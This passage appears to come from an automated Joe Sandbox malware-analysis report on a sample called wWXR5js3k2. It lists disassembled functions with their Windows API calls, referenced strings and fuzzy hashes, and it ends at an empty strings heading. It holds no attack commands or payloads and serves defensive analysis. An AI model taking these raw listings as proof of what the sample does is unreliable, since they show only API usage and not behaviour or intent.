Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 7733a91f4127e4cb35e512958f1146ffa0680889bc104b44641406c6355cf91a
Instruction ID: 40d1df339102a9a44210a820a7a5bfb5fb5ddb308ac814473133c1f3b240b2eb
Opcode Fuzzy Hash: 7733a91f4127e4cb35e512958f1146ffa0680889bc104b44641406c6355cf91a
Instruction Fuzzy Hash: 56514E71B00205AFDF18DFA9DD99AAEBBBAEB88711F14812DF516D7290DB70DD008B50

Function 006DD43E Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

GetSystemMetrics.USER32(0000000F), ref: 006DD47C
GetSystemMetrics.USER32(0000000F), ref: 006DD49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 006DD6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 006DD6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 006DD716
ShowWindow.USER32(00000003,00000000), ref: 006DD735
InvalidateRect.USER32(?,00000000,00000001), ref: 006DD75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 006DD77D

Strings

@U=u, xrefs: 006DD6F5, 006DD716
hW, xrefs: 006DD4E9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID: @U=u$hW
API String ID: 1211466189-4076565667
Opcode ID: d9a6a36efbd513dafecbce904c979dae87d7d4eb872c5d5dc51405e42a949977
Instruction ID: ad20d175f7c2bf4eee33cc7c7d33bfd5a4542fceaf1e95e2bb6ac294c793a636
Opcode Fuzzy Hash: d9a6a36efbd513dafecbce904c979dae87d7d4eb872c5d5dc51405e42a949977
Instruction Fuzzy Hash: 96B17A75A00215EBDF14DF69C985BED7BB2BF48701F08C0AAEC499B395D734A950CB90

Function 006BA8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,006DF910), ref: 006BA90B
GetDriveTypeW.KERNEL32(00000061,007089A0,00000061), ref: 006BA9D5
_wcscpy.LIBCMT ref: 006BA9FF

Strings

unknown, xrefs: 006BA996
ramdisk, xrefs: 006BA97F
all, xrefs: 006BA911
network, xrefs: 006BA969
removable, xrefs: 006BA93D
fixed, xrefs: 006BA953
cdrom, xrefs: 006BA927

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: eaf86b00d19b0bc3732c5c0e4ed4f30143c7bbd381c866dd98dfe04f5579ec78
Instruction ID: e3ce290ad470ea2cc911edee3746ee3a86592290350dda9f1926a75fef55dc18
Opcode Fuzzy Hash: eaf86b00d19b0bc3732c5c0e4ed4f30143c7bbd381c866dd98dfe04f5579ec78
Instruction Fuzzy Hash: 5C51AA71528301AFC350EF54C992AAFB7E7EF84700F14492DF896572A2DB319949CBA3

Function 00652B72 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0068C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0068C319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0068C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0068C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0068C370
DestroyIcon.USER32(00000000), ref: 0068C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0068C39C
DestroyIcon.USER32(?), ref: 0068C3AB

Part of subcall function 006DA4AF: DeleteObject.GDI32(00000000), ref: 006DA4E8

Strings

@U=u, xrefs: 0068C370, 0068C39C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID: @U=u
API String ID: 2819616528-2594219639
Opcode ID: fba1ae4dea4ec88e87108a46f6c4202ef75fd86ba96d0e923313bc67beeb5213
Instruction ID: 26ccd7fb61f31ff4322f7bc55bcbab2abff8935642f531a047494427477d6f60
Opcode Fuzzy Hash: fba1ae4dea4ec88e87108a46f6c4202ef75fd86ba96d0e923313bc67beeb5213
Instruction Fuzzy Hash: BC516C70A00606EFDB24EF64CC55FAA37B6EB59321F108629F902972E0D770ED95DB60

Function 00659837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00659862
__swprintf.LIBCMT ref: 006598AC
__i64tow.LIBCMT ref: 0068F5E6

Strings

%.15g, xrefs: 006598A6
True, xrefs: 0068F5A7
False, xrefs: 0068F5AE
0x%p, xrefs: 0068F5C8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: c304965f6dae2cce37b4619535ed2fbabfb8606fa1e77781c9cb94acc87e9432
Instruction ID: d35d58d9be61da5c2ddf401633ac90b382ca358b2c519bda8d6e560f86320dac
Opcode Fuzzy Hash: c304965f6dae2cce37b4619535ed2fbabfb8606fa1e77781c9cb94acc87e9432
Instruction Fuzzy Hash: AA41E671510205EEEB64EF74D842ABA73EBEF05300F24497EE949D7391EA319946CB21

Function 006A8F8F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 006A9014
GetDlgCtrlID.USER32 ref: 006A901F
GetParent.USER32 ref: 006A903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 006A903E
GetDlgCtrlID.USER32(?), ref: 006A9047
GetParent.USER32(?), ref: 006A9063
SendMessageW.USER32(00000000,?,?,00000111), ref: 006A9066

Strings

@U=u, xrefs: 006A9066
ComboBox, xrefs: 006A8F9C
ListBox, xrefs: 006A8FD1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 1536045017-2258501812
Opcode ID: 182c5e5963f7e99ac5e7d386f543cf1986aa25d569ad27453cb4a44c262a7b59
Instruction ID: fd3ad06f54599cb17272682349528a787aab85e4050427844edd158437dd0641
Opcode Fuzzy Hash: 182c5e5963f7e99ac5e7d386f543cf1986aa25d569ad27453cb4a44c262a7b59
Instruction Fuzzy Hash: B121C770E00148BFDF04ABA0CC85EFEB7B6EF4A310F10411AB952572E1DB759819DA20

Function 006A907A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 006A90FD
GetDlgCtrlID.USER32 ref: 006A9108
GetParent.USER32 ref: 006A9124
SendMessageW.USER32(00000000,?,00000111,?), ref: 006A9127
GetDlgCtrlID.USER32(?), ref: 006A9130
GetParent.USER32(?), ref: 006A914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 006A914F

Strings

@U=u, xrefs: 006A914F
ComboBox, xrefs: 006A9087
ListBox, xrefs: 006A90BC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 1536045017-2258501812
Opcode ID: 803b4bee1e806b3cef0b5c907276891c22d60558cc58a95202585af412fad9e9
Instruction ID: e409e88a29b71acac477d525fc8e730020a492ea0c50c0b3c66d26e8c232c41a
Opcode Fuzzy Hash: 803b4bee1e806b3cef0b5c907276891c22d60558cc58a95202585af412fad9e9
Instruction Fuzzy Hash: 0121CB74E00149BBDF05ABA4CC85EFDB7B6EF46300F10411AB911972E1DB759919DF20

Function 006A9163 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 006A916F
GetClassNameW.USER32(00000000,?,00000100), ref: 006A9184
_wcscmp.LIBCMT ref: 006A9196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 006A9211

Strings

@U=u, xrefs: 006A9211
SHELLDLL_DefView, xrefs: 006A9190
smallicons, xrefs: 006A91D9
details, xrefs: 006A91BF
largeicons, xrefs: 006A91A5
list, xrefs: 006A91F3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: @U=u$SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-1428604138
Opcode ID: ec7d8cc00928cf8830fb611212f674dd852b2dff12310012736b8f8d14f31403
Instruction ID: f40549907d749d8b664008abd4a8862f487c85fb098b72fd5e0b24211d1d800e
Opcode Fuzzy Hash: ec7d8cc00928cf8830fb611212f674dd852b2dff12310012736b8f8d14f31403
Instruction Fuzzy Hash: F3113676658307BAFB143624EC1AEE737DE9B07320B30012AF904E45D2FE627D529DA4

Function 00676E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00676E3E

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

__gmtime64_s.LIBCMT ref: 00676ED7
__gmtime64_s.LIBCMT ref: 00676F0D
__gmtime64_s.LIBCMT ref: 00676F2A
__allrem.LIBCMT ref: 00676F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00676F9C
__allrem.LIBCMT ref: 00676FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00676FD1
__allrem.LIBCMT ref: 00676FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00677006
__invoke_watson.LIBCMT ref: 00677077

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: 1e3a3044bfbc4e08fcdb439a58d242e037666d20e19a8910a6941fb33e58dd52
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 7C71E4B6A00B17ABD714EE78DC41B9AB3AAAF04724F14C22DF518E7381E770DD408794

Function 006B2527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B2542
GetMenuItemInfoW.USER32(00715890,000000FF,00000000,00000030), ref: 006B25A3
SetMenuItemInfoW.USER32(00715890,00000004,00000000,00000030), ref: 006B25D9
Sleep.KERNEL32(000001F4), ref: 006B25EB
GetMenuItemCount.USER32(?), ref: 006B262F
GetMenuItemID.USER32(?,00000000), ref: 006B264B
GetMenuItemID.USER32(?,-00000001), ref: 006B2675
GetMenuItemID.USER32(?,?), ref: 006B26BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 006B2700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006B2714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006B2735

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 58d6902cc0ce0a6a66e34559383e1eb9f1de44b57a1114d7673b7756fe3b1c68
Instruction ID: 72033b7e5ec2adc9bc3864a76767e1d8926aafe1ffb593efdaa2e8b2f131d0a3
Opcode Fuzzy Hash: 58d6902cc0ce0a6a66e34559383e1eb9f1de44b57a1114d7673b7756fe3b1c68
Instruction Fuzzy Hash: 8D61A0F090024AAFDB21CF64DCA8DEE7BFAFB45304F144469E842A3251DB31AD85CB25

Function 006A6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 006A6BBF
SafeArrayAllocData.OLEAUT32(?), ref: 006A6C18
VariantInit.OLEAUT32(?), ref: 006A6C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 006A6C4A
VariantCopy.OLEAUT32(?,?), ref: 006A6C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 006A6CB1
VariantClear.OLEAUT32(?), ref: 006A6CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 006A6CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 006A6CDC
VariantClear.OLEAUT32(?), ref: 006A6CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 006A6CF9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 8dacfc17b3130875358651ed107a870bd37d1c46fd922a49b6263be80dd29321
Instruction ID: 767994fd5410456fae68324d8605eb655e928f0b946248b83d01e4a6b4b22892
Opcode Fuzzy Hash: 8dacfc17b3130875358651ed107a870bd37d1c46fd922a49b6263be80dd29321
Instruction Fuzzy Hash: 13414F75E002199FCB00EF64D8449AEBBBAEF09354F048069F956E7261CB31AD45CFA0

Function 006DB351 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00E15768), ref: 006DB3EB
IsWindowEnabled.USER32(00E15768), ref: 006DB3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 006DB4DB
SendMessageW.USER32(00E15768,000000B0,?,?), ref: 006DB512
IsDlgButtonChecked.USER32(?,?), ref: 006DB54F
GetWindowLongW.USER32(00E15768,000000EC), ref: 006DB571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 006DB589

Strings

@U=u, xrefs: 006DB4DB, 006DB512, 006DB589
hW, xrefs: 006DB38A, 006DB401, 006DB4BC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID: @U=u$hW
API String ID: 4072528602-4076565667
Opcode ID: b42307b61e873feb5964af6cfb08d10c3680efa53bee4e68f5b22647788ad64f
Instruction ID: 9565937fc1a37c3af200b5d7cdc08e70b921ce3690ad4f95f3e941be60a7b94c
Opcode Fuzzy Hash: b42307b61e873feb5964af6cfb08d10c3680efa53bee4e68f5b22647788ad64f
Instruction Fuzzy Hash: 1771AD34A01204EFDB25DF54C894FFA7BF6EF49300F16A06AE942973AAC731A941DB54

Function 00652E26 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00652EAE

Part of subcall function 00651DB3: GetClientRect.USER32(?,?), ref: 00651DDC
Part of subcall function 00651DB3: GetWindowRect.USER32(?,?), ref: 00651E1D
Part of subcall function 00651DB3: ScreenToClient.USER32(?,?), ref: 00651E45

GetDC.USER32 ref: 0068CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0068CD45
SelectObject.GDI32(00000000,00000000), ref: 0068CD53
SelectObject.GDI32(00000000,00000000), ref: 0068CD68
ReleaseDC.USER32(?,00000000), ref: 0068CD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0068CDFB

Strings

@U=u, xrefs: 0068CD45
U, xrefs: 0068CCD0

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: @U=u$U
API String ID: 4009187628-4110099822
Opcode ID: 8f64795aa72e92ab3b22ae14ffbc05334e6e3b680d4a575353b31e1204943019
Instruction ID: 5e20fd9416291f808741e1761e04f51798990027914f39b8d815c786a78fead2
Opcode Fuzzy Hash: 8f64795aa72e92ab3b22ae14ffbc05334e6e3b680d4a575353b31e1204943019
Instruction Fuzzy Hash: 2B71CF31800206DFCF25AF64C895AEA7BB7FF49321F14836AED555A2A6C7318C85DB60

Function 006C5732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006C5793
inet_addr.WSOCK32(?,?,?), ref: 006C57D8
gethostbyname.WSOCK32(?), ref: 006C57E4
IcmpCreateFile.IPHLPAPI ref: 006C57F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 006C5862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 006C5878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 006C58ED
WSACleanup.WSOCK32 ref: 006C58F3

Strings

Ping, xrefs: 006C5816

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: eb83ffec4a52931f0879c3713bf1a67b345ddc653eac3aac2baadab408d7dbe8
Instruction ID: 14bda74fa883a0742ad2f97033c08bf33fa1efd1cddecde6763e34cfd718cfcf
Opcode Fuzzy Hash: eb83ffec4a52931f0879c3713bf1a67b345ddc653eac3aac2baadab408d7dbe8
Instruction Fuzzy Hash: E8517A316016109FDB10AF24DC49F6AB7E6EB48720F04896EF997DB2A1DB70E8448B56

Function 006D62CD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 006D62EC
GetWindowLongW.USER32(00E15768,000000F0), ref: 006D631F
GetWindowLongW.USER32(00E15768,000000F0), ref: 006D6354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 006D6386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 006D63B0
GetWindowLongW.USER32(00000000,000000F0), ref: 006D63C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 006D63DB

Strings

@U=u, xrefs: 006D62EC, 006D6386, 006D63B0
hW, xrefs: 006D62D0, 006D6304, 006D6339, 006D6371, 006D6395, 006D63CD

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: @U=u$hW
API String ID: 2178440468-4076565667
Opcode ID: a4b0d6e4ffd8051e53f129f1895e06dd620d600a2796b715448fbb4783f2551a
Instruction ID: 701ac65bd2af7bf7271387ea52d6cb1ab3d1b072fca6a1f70ae19252c6f615b3
Opcode Fuzzy Hash: a4b0d6e4ffd8051e53f129f1895e06dd620d600a2796b715448fbb4783f2551a
Instruction Fuzzy Hash: 6B31E030A44290EFDB20CF59DC84F9537E2BB4A714F1A91AAF5019B3B2CB71A840DB51

Function 006BB4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006BB4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 006BB546
GetLastError.KERNEL32 ref: 006BB550
SetErrorMode.KERNEL32(00000000,READY), ref: 006BB5BD

Strings

